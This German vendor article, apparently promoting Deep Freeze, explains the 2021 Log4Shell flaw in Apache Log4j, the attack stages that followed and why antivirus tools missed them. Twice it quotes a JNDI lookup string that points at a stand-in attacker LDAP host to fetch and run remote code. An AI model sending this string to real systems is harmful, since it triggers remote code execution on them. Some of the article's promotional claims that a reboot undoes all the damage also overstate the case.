Der Vorfall
Am 9. Dezember 2021 wurde eine kritische Sicherheitslücke in Apache Log4j öffentlich, einer Java-Logging-Bibliothek, die in Millionen von Anwendungen weltweit eingesetzt wird. Die Schwachstelle erhielt die Kennung CVE-2021-44228 und den Namen Log4Shell. Sie wurde auf der CVSS-Skala mit dem Höchstwert 10.0 bewertet – der selten vergebenen Maximalpunktzahl für Kritikalität.
Log4j ist keine eigenständige Software, die Nutzer bewusst installieren. Es ist eine Bibliothek, die in unzähligen Java-Anwendungen eingebettet ist – von Minecraft-Servern über Apache Struts bis hin zu Unternehmensanwendungen von VMware, Cisco, IBM und Oracle. Schätzungen zufolge waren über 35.000 Java-Pakete betroffen, was etwa 8 Prozent aller Pakete im Maven Central Repository entsprach.
Die Schwachstelle war trivial auszunutzen: Ein Angreifer musste lediglich einen speziell formatierten Textstring – etwa ${jndi:ldap://angreifer.com/exploit} – an eine Anwendung senden, die Log4j zum Protokollieren verwendete. Das konnte ein Chat-Nachrichtenfeld sein, ein Suchformular, ein User-Agent-Header in einer HTTP-Anfrage oder jedes andere Eingabefeld, dessen Inhalt geloggt wurde.
Innerhalb weniger Stunden nach Bekanntwerden begannen massenhaft Angriffe. Cloudflare registrierte Exploit-Versuche aus über 100 Ländern. Die belgische Verteidigungsbehörde musste Teile ihres Netzwerks abschalten. Die Ransomware-Gruppe Conti nutzte Log4Shell, um VMware vCenter-Server zu kompromittieren. Kryptominer, Botnet-Malware und verschiedene Backdoors wurden über die Schwachstelle verteilt. Die CISA (US-Cybersicherheitsbehörde) ordnete an, dass alle Bundesbehörden die Schwachstelle innerhalb weniger Tage patchen mussten.
Wie der Angriff funktionierte
Log4Shell nutzte eine Funktion namens JNDI Lookup aus, die in Log4j standardmäßig aktiviert war:
Stufe 1 – Einschleusen des Exploit-Strings: Der Angreifer sendete einen speziell formatierten String an eine verwundbare Anwendung. Dieser String konnte in praktisch jedem Eingabefeld platziert werden: Login-Formulare, Chat-Nachrichten, HTTP-Header, URL-Parameter oder sogar im WLAN-Namen eines Geräts. Alles, was von der Anwendung geloggt wurde, war ein potenzieller Angriffsvektor.
Stufe 2 – Log4j interpretiert den String: Wenn Log4j den String ${jndi:ldap://angreifer.com/exploit} protokollierte, interpretierte es diesen nicht als normalen Text, sondern als Anweisung: „Verbinde Dich mit dem LDAP-Server unter angreifer.com und lade die Ressource ‚exploit'."
Stufe 3 – Nachladen des Schadcodes: Der LDAP-Server des Angreifers antwortete mit einem Verweis auf eine Java-Klasse, die von einem weiteren Server heruntergeladen und auf dem Zielsystem ausgeführt wurde. Dieser Schadcode lief mit den Berechtigungen der verwundbaren Anwendung.
Stufe 4 – Installation der Payload: Je nach Ziel des Angreifers wurde verschiedene Malware nachgeladen. Die häufigsten Payloads waren Kryptominer (insbesondere XMRig für Monero-Mining), Cobalt Strike Beacons für Remote-Zugriff, Botnet-Malware wie Mirai und Muhstik sowie Ransomware-Loader, die den Weg für spätere Verschlüsselung ebneten.
Stufe 5 – Persistenz und laterale Bewegung: Auf Windows-Arbeitsplätzen installierten die Angreifer typischerweise Backdoors, die sich in der Registry eintrugen, Scheduled Tasks anlegten oder sich als Windows-Dienste registrierten. Von dort aus bewegten sie sich lateral durch das Netzwerk zu weiteren verwundbaren Systemen.
Stufe 6 – Finaler Angriff: Die Endstation war je nach Angreifer unterschiedlich: Ransomware-Verschlüsselung, Datendiebstahl, dauerhafte Spionage-Implantate oder die Einbindung in ein Botnet für DDoS-Angriffe und Spam-Verteilung.
Warum Virenscanner versagten
Log4Shell war für Virenscanner aus mehreren Gründen ein Albtraum:
Der initiale Exploit war ein reiner Textstring – keine Datei, keine Binary, kein Anhang. Ein Virenscanner, der Dateien auf Malware überprüft, konnte den Exploit-String nicht erkennen, weil er kein Malware-Code war, sondern eine Anweisung an Log4j.
Der Schadcode wurde erst in der dritten Stufe nachgeladen – dynamisch und von beliebigen Servern. Jeder Angreifer konnte seinen eigenen Payload bereitstellen, was zu einer explosionsartigen Vielfalt an Schadvarianten führte. Signaturbasierte Erkennung konnte mit der Geschwindigkeit, in der neue Varianten erschienen, nicht mithalten.
Die verwundbaren Anwendungen waren so vielfältig, dass es keine einheitliche Schutzstrategie gab. Log4j steckte in tausenden verschiedenen Produkten, und in vielen Fällen wussten die Administratoren nicht einmal, dass ihre Software diese Bibliothek verwendete. Man kann nicht patchen, was man nicht kennt.
Auf Windows-Arbeitsplätzen war die Situation besonders problematisch: Java-basierte Unternehmensanwendungen – etwa VMware-Clients, Jenkins, Elasticsearch-Tools oder interne Web-Apps – nutzten Log4j, und die Nutzer hatten oft keinen Einfluss darauf, wann und ob ein Patch verfügbar wurde.
So hätte Deep Freeze geschützt
Für Windows-Arbeitsplätze, auf denen Java-Anwendungen mit verwundbaren Log4j-Versionen liefen, bietet Deep Freeze einen entscheidenden Schutz:
Nachgeladene Payloads überleben keinen Neustart: Der Log4Shell-Exploit selbst war ein Textstring – aber die eigentliche Schadsoftware (Kryptominer, Cobalt Strike, Ransomware-Loader) wurde als Datei auf die Systempartition geschrieben. Auf einem eingefrorenen System wird diese Datei beim nächsten Reboot entfernt. Der Angreifer müsste den Exploit nach jedem Neustart erneut ausführen.
Persistenz-Mechanismen werden eliminiert: Registry-Einträge, Scheduled Tasks, manipulierte Dienste, neue Benutzerkonten – alle Methoden, die Angreifer für dauerhaften Zugang nutzten, werden beim Neustart rückgängig gemacht. Die eingefrorene Systempartition kennt nur einen Zustand: den Originalzustand.
Kryptominer werden automatisch beendet: Eine der häufigsten Log4Shell-Payloads waren Kryptominer, die im Hintergrund die Rechenleistung des Systems missbrauchten. Auf einem eingefrorenen System wird der Miner beim nächsten Neustart vollständig entfernt – ohne dass ein Administrator eingreifen muss.
Das Patch-Fenster wird entschärft: Die Log4j-Schwachstelle betraf so viele verschiedene Produkte, dass das vollständige Patchen aller Anwendungen Wochen bis Monate dauerte. In manchen Fällen stellten Hersteller erst nach Wochen Updates bereit. Deep Freeze schützt in dieser kritischen Phase: Selbst wenn ein System erfolgreich angegriffen wird, wird der Schaden beim nächsten Neustart beseitigt.
Botnet-Infektionen werden verhindert: Botnet-Malware wie Mirai und Muhstik benötigt dauerhafte Präsenz auf dem System. Ein Rechner, der sich bei jedem Neustart in den Originalzustand zurücksetzt, kann nicht dauerhaft Teil eines Botnets werden.
Die Lehre
- Die gefährlichsten Schwachstellen stecken in Bibliotheken, von denen Du nie gehört hast. Log4j war in tausenden Produkten eingebettet, ohne dass die Nutzer davon wussten. Du kannst nicht jede Bibliothek in jeder Anwendung kennen – aber Du kannst Dein System so schützen, dass es sich selbst heilt.
- Triviale Exploits sind die gefährlichsten. Log4Shell erforderte kein spezielles Werkzeug, keine besondere Expertise – eine Textzeile in einem Chat-Feld genügte. Je einfacher ein Exploit, desto mehr Angreifer nutzen ihn. Deep Freeze schützt unabhängig von der Komplexität des Angriffs.
- Patchen dauert Wochen, Angriffe beginnen in Stunden. Zwischen Bekanntwerden der Schwachstelle und den ersten Angriffen vergingen nur Stunden. Zwischen Bekanntwerden und vollständigem Patching vergingen Monate. Eine eingefrorene Systempartition schließt diese Lücke.
- Die Vielfalt der Payloads überfordert jede Signatur-Datenbank. Hunderte verschiedene Malware-Familien nutzten Log4Shell als Einfallstor. Kein Virenscanner konnte mit dieser Geschwindigkeit neue Signaturen erstellen. Deep Freeze braucht keine Signaturen – es setzt einfach zurück.
- Ein Neustart ist schneller als jede Incident Response. Während Sicherheitsteams weltweit Nachtschichten schoben, um verwundbare Systeme zu identifizieren und zu patchen, hätte ein einfacher Reboot den Schaden auf eingefrorenen Systemen bereits beseitigt.